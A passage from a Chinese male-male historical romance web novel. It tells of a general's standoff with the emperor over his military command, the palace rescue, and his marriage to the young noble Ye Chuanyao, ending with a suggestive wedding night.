半眯着眼看向那道挺拔的身影。 缓缓道:“这些年,大将军为国征战, 着实辛苦……” “如今时局安稳,大将军也该……好好歇一歇……” 一旁的季泽眸色一惊, 蹙着眉看向皇帝。 沈翾抬眼,嗓音不冷不热:“陛下这是何意?” 皇帝的身子实在虚弱。 他自知时日无多,也没有力气再同他兜圈子。 干脆直接道:“太子资历尚浅, 朕实在放心不下。” “还请大将军交出兵权。” “你向来体恤军心,如今将士们好不容易过几天安稳日子,想必大将军定不忍再让他们流血受苦……” “父皇不可!” 季泽闻言当即变了脸色,忙上前劝道。 “北渊和西夷方才退兵,父皇怎能如此过河拆桥?” “况且若无大将军执掌大军,如何能震慑外敌?” “到时北渊再度南下,岂不又是一场生灵涂炭!” “你,你闭嘴!”皇帝狠狠剜了他一眼。 “我大盛泱泱大国,难道还找不出一个统兵之人?” 沈翾始终面色平静,挺直地立于殿中。 如冬日松柏,坚不可摧,傲然清雅。 他抬眸淡淡地看向皇帝,一字一顿道:“陛下要臣交出兵权,臣不敢不从。” “陛下说得对,臣征战多年,早也累了。” “如今太子勤政,四海皆平,臣的确可以功成身退……” “万万不可!”季泽急声道,“没有人比大将军更适合统领三军。” “大盛也不能没有大将军的庇护!” 沈翾的脸上没有什么表情,看不出喜怒。 他将怀里的虎符取出,漫不经心地握在手中。 冲皇帝道:“这兵权,臣可以交。” “不过在此之前,有件事,还请陛下应允。” “何事……”皇帝喘着粗气问。 沈翾往床榻前挪了两步,嗓音如常道:“八年前的事,陛下难道,不打算给我沈家一个交代吗?” 皇帝愣了愣,喘得更厉害:“你这是何意?” 沈翾哼笑一声,慢踱几步,看上去颇有耐心。 慢条斯理道:“八年前,陛下冤枉家父消极应战。” “又派禁军冒充飞龙寨,截了粮草,杀了冯大人一家,屠尽飞龙寨上千人。” “陛下既想要我交出兵权,自然也该给当年枉死的将士们一个交代。” 此话一出,整个寝殿内霎时针落可闻。 内侍在一旁垂着头打量着几人的脸色,连大气都不敢喘。 皇帝神色慌乱道:“你,你信口雌黄!” “当年之事乃郑元自作主张,与朕何干?” 沈翾无声地扯了扯嘴角,并不意外皇帝的反应。 他抬脚走到皇帝面前,居高临下地看着他。 “陛下,这世上没有不透风的墙……” “陛下放心,如今陛下缠绵病榻,臣不会如何。” “只要陛下写一份诏书,替我沈家洗脱污名……” “你休想!”皇帝怒道。 诏书一下,他的帝王颜面何在? 后世该如何看他? 季泽红着眼看向皇帝。 当年之事他早有猜测,但如今事实如此血淋淋地摆在眼前,还是让他心底一痛。 他的父皇设计害死了他的舅父,害死了那么多条无辜的性命。 如今还要夺大将军的兵权…… 身为君王,怎可如此草菅人命? 沈翾的眸色沉了沉,黑白分明的眼底漫出一层寒霜。 “既如此,那这兵权,恕臣……不能交。” “你,你敢抗旨?”皇帝颤巍巍地伸出手,怒目而视地指着殿中之人。 “来人,将沈翾拿下!” 门外呼啦啦涌出一群禁军,迅速将殿中之人团团围住。 为首的孙统领剑指沈翾:“大将军,您就算武艺再高,也终究抵不过我三千禁军。” “还是早些束手就擒,我等定留大将军一个全尸。” 沈翾冷眼看着他,负手而立,并未有任何动作。 却无人敢上前一步。 “住手,都给本王退下!” 季泽冲孙统领大呵一声,转头看向皇帝。 “父皇,您怎能如此对待大将军?” “您除掉舅父还不够,还要除掉表兄吗?” “混账!”皇帝连咳了几声,看上去气得不轻。 “你知不知道自己在做什么……” “朕这都是在为你谋划!” 季泽曲膝跪在龙榻前,目光坚毅,嗓音沉稳有力。 “父皇,沈家满门忠烈,这些年为朝廷征战无数,多少次性命攸关,却从未有一丝退缩。” “如今终得一时太平,父皇如此行事,就不怕天下悠悠众口,说我皇家无情吗?” “你……”皇帝看着季泽,眼底猩红,怒其不争道,“你如今已是太子,怎能如此鼠目寸光,妇人之仁……” “沈家功高盖主,你一个新帝,将来如何能压制得住?” “这皇位,又有几人……不垂涎?” “若此时不动手,难不成,你想日后做个傀儡皇帝吗?咳咳咳……” 沈翾微不可察地嗤笑一声,眼底幽深如寒潭。 这么多年,这个人果真丝毫未变。 帝王之术,不过是宁可错杀,也不肯放过罢了。 皇帝一番话说的直白,任哪个皇家之人听了,都不免会对沈翾生出忌惮之心。 没有哪个皇帝能容得下一个威望过甚的权臣。 他料想季泽也不例外。 季泽端身跪着,一时无言。 须臾后,却嗓音坚定道:“儿臣信他。” “你说什么?”皇帝脸上满是不可置信。 季泽看着他,嗓音沉稳道:“父皇,沈家满门皆忠义之士。” “北渊多少次拉拢,若大将军真有谋反之心,又何须等到今日?” “若他真反,又有谁能拦得住他?” 他顿了顿,气息一沉,一字一顿道:“父皇,您如此猜忌沈家,只会令大盛的将士们寒心。” “况且,您别忘了。” “儿臣的身上,也流着一半沈家的血。” “你,你这个不肖子!你是要把我季家的江山……拱手让人吗?” “父皇,这天下谁都有可能反,唯独他不会!” “因为他是沈翾,是我盛国的大将军!” “他将家国百姓看得比他自己的命还重。” “这样的人,又岂会为了一己私欲,让百姓和将士们陷入战火之中?” 季泽的一番话让皇帝怒火中烧,胸口剧烈起伏着,恨不得跳起来给他一巴掌。 只可惜,他如今连床都下不了。 殿内重新安静下来。 皇帝闭了闭眼,情绪缓和了几分。 叹道:“人心是会变的,你又怎知,日后他不会生出异心?” “真到那时,一切都晚了……” 他眸色一沉,不想再同季泽争辩。 只看向孙统领,冷声下令:“拿下。” “谁敢动!”季泽起身拦在沈翾面前。 孙统领一惊,忙将剑往回收了收。 “太子,你也要造反吗?都给朕拿下!” 季泽看着孙统领,嗓音冷冽:“孙统领,你想清楚,当真要与本王为敌吗?” “我……”孙统领蹙了蹙眉,陷入两难。 陛下已时日无多,季泽才是未来的皇帝。 若他今日与他为难,日后的仕途怕也走到头了。 可…… “对不起,太子殿下。陛下于臣有恩,陛下之命,臣不能不从。” “请殿下恕罪!” “来人,将太子殿下带走!” 两名禁军立刻上前,季泽刚要躲,二人已被身后的人踹倒在地。 孙统领大惊失色:“沈翾,你当真要谋反不成?” 沈翾笑笑:“本将从无谋反之心,但也不会白白送死。” 少时父亲总告诫他,大丈夫要忠君爱国。 即便君要臣死,臣也不得不死。 从前他听从父亲教导,并未觉得这话有什么不对。 可如今,阿遥还在等他,他不能就这么死了。 就算背上谋反的骂名,他也要替自己,替他们的将来搏一搏。 孙统领见状朝身后摆了摆手:“都给我上!” “今日定要将这逆贼就地正法!” 沈翾面色阴翳地将面前的刀剑一一挡开,殿内霎时一片刀光剑影。 三千禁军,今日竟为他一人全员出动,也算是看得起他了。 看来今日又是一场血战。 只是这一次,他的剑要对的,是他曾拼死守护的人。 当真是讽刺。 焦灼之际,殿外有人跑进来,慌张道:“不好了!” “卫国公世子携三万中军陈兵宫外,说,说若今日大将军不能全须全尾地回去,他便带大军踏平皇宫!” “什么,”皇帝颤声道,“虎符在此,他如何能调得了中军?” 沈翾眼底闪过不明微光,呼吸陡然乱了几分。 方才被禁军围困都不曾有丝毫慌乱的他,这一刻大脑却空白了一瞬。 阿遥……魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【正文完】 第81章 宫人的禀报如一记炸雷, 在偌大的寝殿内掀起一层惊涛骇浪。 一屋子的人闻讯当即慌了神。 孙统领僵在原地,不敢妄动。 形势瞬间扭转。 宫中上下都得了信,妃嫔和宫人们个个人心惶惶, 忙锁紧各自的宫门躲了起来。 甚至已有人开始收拾银钱细软,准备随时逃走。 皇帝受了惊吓,一双灰蒙蒙的眼睛空洞又不甘地瞪着。 他看向殿内面色淡定、一身傲骨的人, 恨不得立刻将他杀了。 明明已经占了上风,明明只差一点就能除掉这个威胁。 可如今却功亏一篑。 眼下三万中军陈兵宫外, 若沈翾一旦身死, 这宫里的人也无法独善其身。 只得暂且忍下。 他季家的江山,绝不能葬送在他手上。 否则他日黄泉相见, 他有何颜面去见先帝? 皇帝挣扎着抬了抬头, 干枯的手指虚无地朝空中指了指。 颤声道:“不用虎符却能调动三万中军。” “太子, 现在……你还觉得他无辜吗?” 季泽沉默一瞬, 平静道:“父皇,正因如此, 儿臣才信他。” 沈翾若有夺位之心,壹字军挺进京师, 谁能拦得住? 他明明轻而易举便能调动数十万兵马, 可却从未有丝毫逾矩。 又怎么会反? 皇帝疲惫地闭上眼。 他自知已无力回天, 如今心已死,再也没有了争斗的力气。 前来报信的宫人小心翼翼地打量一圈殿中之人, 急道:“现下,现下该如何是好?” “再不回话, 世子怕是就要带着大军闯进宫了!” 屋内的禁军你看看我,我看看你,脸上俱是慌张。 虽说禁军乃天子护卫, 忠心耿耿,但谁也不愿意白白送死。 何况大将军并非真的要反。 否则大可长驱直入,直接让人杀进宫便可夺了这皇位。 哪还轮的到他们在这里围攻挟制? 沈翾的脸上始终神情淡淡,既无得意,也未慌张。 季泽看一眼门外,顿了顿,吩咐道:“去告诉世子,大将军安然无恙,稍后便会出宫。” “是!”宫人终于松了一口气,赶紧跑去报信。 殿内的禁军闻言也收起手中的利器。 季泽看向沈翾,侧身让开一步,清声道:“大将军,请。” 沈翾抬了抬眼,目光在季泽的脸上淡淡扫过。 禁军自觉地让开一条路,怔怔地目送着殿中之人向宫外而去。 宫门外,叶川遥同明烛、南桑、杨护军骑在马上,身后便是严阵以待的大军。 几人目光如炬地盯着宫门,焦急地等着宫里的消息。 “哎呀,这,这怎么还没动静?”杨护军皱着眉急道,“皇帝究竟放不放人?” “我看咱们干脆冲进去算了,再等下去,将军怕是要出事啊!” 叶川遥的眸色一片幽深,心中虽焦急万分却并未慌乱。 “再等等。”他沉声道。 这一步若踏出去,便再也没有回头路。 沈翾为大盛做了那么多,不到万不得已,绝不能背上谋反的罪名。 他深吸一口气,握着缰绳的手背青筋暴起。 再等一刻,若宫里还未传出消息,便只能逼宫了…… 好在,调兵之前他已让凌舟带父亲和叔父一家离开京城,至少不会连累他们…… 一众人的心都提到了嗓子眼,目不转睛地盯着宫门。 须臾后,终于见有宫人气喘吁吁地跑出来,远远地便冲几人喊道:“回,回世子……” “大将军这就往宫外来了,几位稍安勿躁!” “太好了!”杨护军高兴道。 叶川遥缓缓闭了闭眼,用力呼出一口气。 一直僵硬的肩膀终于缓缓放下来。 “将军如何了,可有受伤?”南桑蹙眉问。 宫人忙道:“只有一点擦伤,不严重!” “大将军武艺超群,谁能真的伤得了他!” 他颤颤巍巍地说完,吓得冷汗都冒了出来。 瞧这几人的架势,若大将军今日真伤了,他们怕是要把他生吞活剥了不可…… 叶川遥皱了皱眉,没再为难宫人,摆摆手放他回去了。 秋风瑟瑟,黄叶飘零。 不久后,期盼已久的身影终于自远而近渐渐清晰。 几人一齐翻身下马,朝着宫门大步迎上去。 看见沈翾的第一眼,叶川遥便不由自主地红了眼。 他顾不得宫门前的众人,径直跑过去扑到沈翾身上。 克制许久的害怕和担忧在这一刻后知后觉地奔涌而出。 眼中的泪再也抑制不住。 沈翾将人接住,轻轻唤了声:“阿遥。” 一颗心莫名安定下来。 叶川遥抬头在他身上仔细地打量一遍。 还好,没有受伤,只是手背上擦破了一块。 他眼底含着泪,仰起头后怕地看着面前的人。 哽咽道:“我要吓死了……” 沈翾将人抱在怀里,手臂紧了紧,柔声道:“别怕,没事了。” 其余几人静静地看着他们,谁也没有上前打扰。 但这里终究不是说话的地方。 须臾后,叶川遥平复了几分,抬起头道:“我们回家吧。” 沈翾:“好……” 杨护军领兵回营,其余几人则打道回府。 回到紫云轩,明烛本想跟上去问问今日宫中是何情形,却被南桑扯住手腕。 “将军今日累了,让将军早些歇息。” 说完便拉着明烛离开。 明烛不明所以地跟着他走,边走边回头道:“我还有话同将军说呢,你拽我做什么?” “有什么事明日再说也不迟。” “哦,好吧,”明烛朝房内看了眼,“那我先布置下去,让大家加强防范,免得皇帝反悔,又生出什么幺蛾子。” 南桑嗯了声,眉宇间带着几分凝重。 今日总算有惊无险,但他不免还有些担忧。 “皇帝今日夺权不成,不知可会善罢甘休。” 明烛哼了声,不以为意道:“皇帝已时日无多,只怕有心无力。” “况且今日他既已知道动不了将军,自然该歇了那些不该有的心思。” 南桑缓缓地叹口气:“但愿如此……” 明烛看了眼自己的手腕,压低声音道:“你,你把手拿开……” 南桑低头看看,面色自然地嗯了声,将手从明烛的手腕上松开。 可随即便将整个手掌攥进手心里。 “……” 明烛只觉手心一阵酥麻,耳尖不由自主地红了一块。 “你,下人们看着呢,你给我放开……” 南桑不为所动,牵着他径直朝自己的院子走。 “今日受了惊吓,牵一会儿压压惊。” 明烛:“……” 房内,叶川遥与沈翾相邻而坐。 他垂着眼一言不发,眸色凝重,不知在想些什么。 沈翾看着他,顿了顿,眉目温柔道:“今日为何会来?” 叶川遥抬头看他,不紧不慢道:“我觉得要出事,便折返了回去。” “走到半路得了宫里的探子传出来的消息,说皇帝打算逼你交出兵权。” “我便拿着你的令牌去找杨护军调兵。” 他顿了顿,吸了吸鼻子喃喃道:“好在赶上了……” 沈翾眼神深邃地看着他,下一瞬将人轻轻拥进怀里。 “是我不好,阿遥原谅我这一次吧。” 叶川遥鼻头一酸,压制了无数次的泪意终于决堤而出。 “不原谅……” 他抬手推了推面前的人,嗓音里带着怨气道:“你把我支走,是打算就这样一个人去赴死吗?” “沈翾,我在你眼里到底算什么?” “若我再晚两刻到,是不是就……” 他哽咽得再也说不下去,肩膀不住地轻颤着。 那股极致的恐惧依然侵蚀着他。 沈翾心底一疼,将人搂得更紧。 顿了顿,慢声道:“阿遥,我自是盼着与你朝朝暮暮。” “但比起长相厮守,我更想你能好好地活下去。” “你从小无忧无虑地长大,本该一生顺遂,不该为我毁了原本的好日子。” 叶川遥的心里说不上什么滋味。 他自然清楚,沈翾是怕拖累于他。 他本该高兴感动的,但…… 太心疼了。 那样孤单的一个人,连赴死都是独自一个,唯恐连累任何人。 可如今他不再是一个人了,他的身边有他,便不该什么都再一个人扛。 叶川遥抬头看向面前的人,目光坚定:“沈翾,我心上有你。” “人生弹指一挥间,你我相知相伴,就算陪你赴死又如何?” “你莫要小瞧了我,也不该低估了你在我心中的分量。” 沈翾闻言微微一怔,眼底热意滚烫。 向来冷静克制的心底软到不知所措。 他低头亲在叶川遥额间,嗓音轻颤着道:“对不起。” 又亲在眼尾:“多谢你,阿遥。” 叶川遥的眼皮轻轻一颤,头顶麻了麻。 他闭上眼,抿唇不动。 沈翾的喉结滚了滚,薄唇缓缓向下,最后亲在他的嘴角。 “我沈翾三生有幸,得遇阿遥如此倾心相待。” “受宠若惊,无以为报。” “唯以余生为契,与君相守,死生不离。” “阿遥……可愿意?” 叶川遥缓缓睁开眼,一滴清泪自眼睑缓缓滑落。 他点点头,破涕为笑道:“嗯,看在你知错就改的份上,本少爷就勉强答应你。” 沈翾轻笑一声:“嗯,多谢世子。” 叶川遥弯着眉眼看着他,眼底水波清澈荡漾,藏着无尽柔情。 他扬起下巴,在沈翾的唇角轻轻亲了亲。 一字一顿道:“说好了,从今往后,死生不弃。” “不许食言。” “嗯,”沈翾沉声应下。 下一瞬,细密的吻落下来。 两人今日都如同死过一遭。 如今劫后余生,便只想把彼此融进自己的骨血里。 末了,沈翾抵着叶川遥的额头,轻喘着道:“三日后,我去向国公爷提亲。” 叶川遥闭上眼,嘴角轻轻弯了弯:“好……” 第82章 银杏飘落, 红叶满山,又是一年金秋。 偌大的将军府内一片热闹,下人们来来往往, 一大早便开始忙活。 管家脸上喜气洋洋,嗓门洪亮地吆喝着:“来来来,把这些都搬上车, 小心着些,千万别嗑着了!” “哎呀, 马车的帘子怎么还没换, 快,全换成红色!” “动作都快点, 别误了时辰!” 不多时, 明烛从前厅大步出来, 荣光满面地走到管家面前。 “海叔, 可都收拾妥当了?” 管家朝院子里看了眼,笑道:“差不多了, 一刻钟后就可以出发。” “好!”明烛欢快地应了声。 见沈翾正从前厅出来,便扯着嗓子喊道:“将军, 东西都装好了, 咱们出发吧!” 南桑随沈翾一道出来, 笑着看向明烛道:“我怎么瞧着,你比将军还要激动几分。” “能不激动吗, ”明烛眉飞色舞道,“咱们府上可终于要有将军夫人了!” “以后, 阿遥就真的跟咱们是一家人了!” 南桑笑笑:“嗯,以后府里定会很热闹。” 沈翾一身玄衣朝几人走来。 挺拔的身形端方雅正,俊朗的眉宇间藏着淡淡的笑意。 他看向院子里整齐排列的马车, 笑着道:“走吧。” 明烛牵起马:“出发!” 国公府内,叶川遥早早便起床沐浴更衣,头发也精心梳理过。 浅玉色长袍衬得肤白胜雪,一双清澈的桃花眼微微上扬,好似天生便带了几分笑意。 真是好一个俊逸如玉的美人。 他在镜子前转了转,亮着双眼问身旁的凌舟:“怎么样,还行吗?” 凌舟直点头:“少爷不愧是京城第一美人,真是太好看了!” 叶川遥开心一笑:“那就好。” “走吧,我们去门口迎他。” “少爷,”凌舟笑道,“时辰还早呢,你就这么等不及要见大将军?” “你这才回府几天啊……” “……” “我,我才没有……”叶川遥压了压嘴角道,“我是怕他紧张!” “哎呀别废话了,快走吧!” 凌舟但笑不语,跟着他一起朝大门口去了。 艳阳高照。 叶川遥站在门口翘首企盼,一颗心欢喜地砰砰直跳。 忽地想起第一次去沈翾府上的场景。 那时他坐在将军府的石阶上,也是这般眼巴巴地望着。 只是那时满心忐忑,如今却只剩欢喜。 他想着想着不禁莞尔一笑。 不多时,叶青云和叶青山一家也出了大门,全家一齐等着接人。 叶青山笑着道:“没想到,大将军竟成了咱们叶府的女……儿婿。” “当真让人意外。” “是啊,”二夫人也道,“大将军如此情深义重,我们阿遥也算是找到了好归宿。” 叶川遥的心里一阵暖意。 没想到家人竟如此支持他的决定。 并未因他为人男妻而觉得丢脸,也没有因沈翾的处境而有所疏离。 叶青云嗯了声,虽心里有些不舍,但也真心地替自己儿子高兴。 能够顺应自己的心意而活,便也算不枉此生了。 “来了来了!”叶雨柔指着远处道。 叶川遥顺着她的手望过去,便见沈翾端坐在马上,英姿勃发,俊朗得让人移不开眼。 一行人行至府门口。 沈翾拂开衣摆翻身下马,朝叶青云行了晚辈礼。 “沈翾见过伯父。” 又朝其他人颔了颔首。 叶青云立即抬手回道:“见过大将军……” 其余几人也跟着行礼。 “……” 叶川遥抬手轻轻拽了拽父亲的袖子。 小声道:“阿爹,他是来提亲的,不是在朝上,不必如此……” “……” 叶青云反应过来,用力挺了挺脊背,轻咳一声:“都进屋吧。” 叶川遥陪沈翾走在最后,见他脸色有些僵硬,勾了勾他的手指,问:“怎么了?” 沈翾笑笑:“没什么,就是……有点紧张。” “嗯?”叶川遥看着他一笑,嘴上揶揄道,“原来大将军也有紧张的时候啊?” “怎么,怕我爹不同意这门亲事?” 沈翾攥了攥他的手,轻叹道:“嗯,毕竟是见未来岳丈,如何能不紧张?” 他低头向叶川遥的耳边靠了靠,轻声道:“一会儿若你父亲为难,阿遥可要替我说说好话。” 叶川遥扑哧一笑,点点头:“放心,本少爷定会护着你,不会让你吃亏的。” 沈翾轻笑:“嗯,好。” 进了正厅,明烛让人将六十八箱聘礼一一搬进屋,摞了满地。 叶雨柔哇了声,吃惊地瞪大眼:“这也太多了吧!” 皇子公主成婚的礼制也不过如此。 叶青云也吃了一惊。 他看向自己儿子,见他脸上一切如常,似乎对此并不意外。 除了聘礼外,沈翾给几人也都备了礼。 明烛将东西一一奉上。 几位长辈喜笑颜开地接下,屋子里一片其乐融融。 末了,沈翾拿起个精致的匣子,递到叶雨柔面前。 “这是给二小姐的。” “给我的?”叶雨柔眼睛一亮,高兴地伸手接过,起身得体地见了礼。 “多谢大将军!” 坐下后,叶雨柔兀自愣了愣。 大将军很快就要同哥哥成亲了,那日后她该怎么称呼他? 是不是……该叫嫂嫂? 婚事谈得十分顺利,婚期也顺理成章地定了下来。 下个月初十,大吉大利的好日子。 晌午,一大家子热热闹闹地一同用了午膳。 沈翾举杯道:“岳父大人,我敬您。” 叶青云愣了愣,手里握着杯子迟迟不动。 昔日的忘年之交,位列三公之上的大将军,如今却成了他的儿婿。 还真是有些不习惯啊…… 直到沈翾再次出声,他才回过神,举起杯道:“好,哈哈好……” 从前下棋总是输给他,这回总算扳回一城! 叶川遥往身旁靠了靠,小声道:“翾哥哥,你这一声岳丈大人,好像把我爹哄得还挺高兴的。” 沈翾看着他笑笑:“嗯,我也高兴。” 用过午膳,叶川遥送沈翾出门。 两人并肩往外走着,叶川遥依依不舍道:“婚期已经定下,我也不好总往你府上跑。” 他停下脚步,下了下决定道:“这一个月,我们就先不要见面了。” “……” 沈翾笑笑,不以为意:“世子什么时候在意起这些俗礼了?” “你不好去我府上,那换我来国公府寻你便是。” “那也不行!”叶川遥拒绝道,“不吉利!” 他自然不在意旁人怎么看,但毕竟就成这一次婚,他当然也想图个吉利。 这可是关乎一辈子的事! 见他甚是在意,沈翾虽不情愿,也只好应下。 “好,那便成亲那日再见。” “阿遥,等我。” 心里盼着事,这日子似乎过得格外慢。 大婚前几日,将军府的侧门前多出一道纤细的身影。 他亮了亮手中的令牌,对守卫叮嘱道:“不许声张,就当没见过我。” “是,世子。” 叶川遥进了门,一路穿过长廊,“偷偷”进了紫云轩。 卧房的灯还亮着,沈翾应该还没睡。 恰巧有婢女过来添茶水,叶川遥将茶壶接过,扣了扣门,推门而入。 沈翾正端坐在桌案前看信。 听见动静后,他抬头望去,便见叶川遥朝他走来,将茶放在他面前。 “将军辛苦,喝口茶吧!” 沈翾放下手里的信,弯唇一笑。 “又翻墙进来?” 叶川遥晃了晃手里的令牌:“正大光明进来的。” 沈翾轻笑:“世子,给你令牌,并非让你做此用处。” 叶川遥在他身旁坐下,得意洋洋道:“你既给了我,管我作何用。” “我一高兴,下次说不定找几个人,直接将你绑了送到我床上!” 也免得日日饱受相思之苦。 沈翾轻轻一笑,漫不经心道:“那世子大可以试试。” “看看是我先被世子绑上床,还是世子先被人送到沈某床上。” “你……”叶川遥脸上一红。 “沈怀清,你还是那个严肃的大将军吗?” 沈翾笑着将他的手攥紧掌心。 “为何突然过来?” “不是说成亲前,都不见面?” “你说呢?”叶川遥抿着唇不答反问。 沈翾低头在他唇上亲了下,嗓音轻柔道:“嗯,我也想你。” 叶川遥将头埋在他颈间,傲骄的语气道:“还有三日,将军再忍忍吧。” “好。”沈翾笑道。 瞥见桌案上的信,叶川遥抬起头。 “这是……我从前写给你的信?” 沈翾坦然地嗯了声。 叶川遥将信拿在手里看了看,笑着道:“原来将军就是靠这些度过漫漫长夜?” 沈翾并未否认,嗓音清澈道:“只看着你的字迹,便觉得安心。” 叶川遥心下一热,眸色深了深。 嗔怪道:“翾哥哥,你这样,让我今晚都不想回去了……” “那便留下。”沈翾面不改色道。 叶川遥在心底挣扎了片刻,摇摇头:“不行。” “就,就只亲一会儿……” 沈翾笑着倾身下来:“好……” …… 大婚那日,城中聚集了无数百姓。 从城西一路直到城东,沿街都是前来瞧热闹的人。 “大将军竟真的娶了世子!” “将男子明媒正娶为正妻,这在咱们大盛可是头一遭!” “何止明媒正娶?就是娶个公主也不过如此了!” “大将军丰神俊朗,世子虽为男妻,但也当真是好福气!” “世子倾城之貌,的确值得如此相待!” 婚礼与寻常并无不同。 二人身着红衣,拜过天地,便入了洞房。 招待之事则全都交给了明烛和南桑。 叶川遥坐在床上,红盖头下一张脸美得不可方物。 他听着房里的脚步声,皱了皱眉道:“沈翾,你究竟打算何时把盖头给我掀开?” 沈翾坐到他身旁,笑了声:“抱歉,心跳得太厉害。” “容我缓缓。” 叶川遥闻言弯唇一笑。 没过多久,盖头被轻轻掀开。 叶川遥看向一身红衣的人,莞尔一笑:“将军这一身喜服可真好看!” 沈翾的目光落在面前美到极致的脸上,目光里盛满柔情。 “阿遥也是。” 两人相视一笑,漆黑明亮的眼底映着彼此的面容。 春宵一刻,满室浓情。 叶川遥将人压在身下,意乱情迷间手上摸到了什么,遂拿起来放在眼前。 是他送给沈翾的平安扣。 “你一直戴着?” 沈翾嗯了声:“从未离身。” 叶川遥勾唇一笑,低头在上面吻了吻,轻轻道:“它定会一直保佑将军,一生顺遂,平安无虞。” 沈翾呼吸一滞,宽大的手掌按在脑后,将人压在身前。 唇瓣相贴,无尽厮磨。 叶川遥只觉小腹胀得难受,整个人意乱情迷,嘴里喃喃地唤着:“将军……” “叫我什么?” “翾哥哥……” “还有呢?” “夫君……” 十指相扣,呼吸交缠。 两世倾慕,终得厮守。 从此天大地大,便任由他们恣意潇洒,相守一生。 ——正文完魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&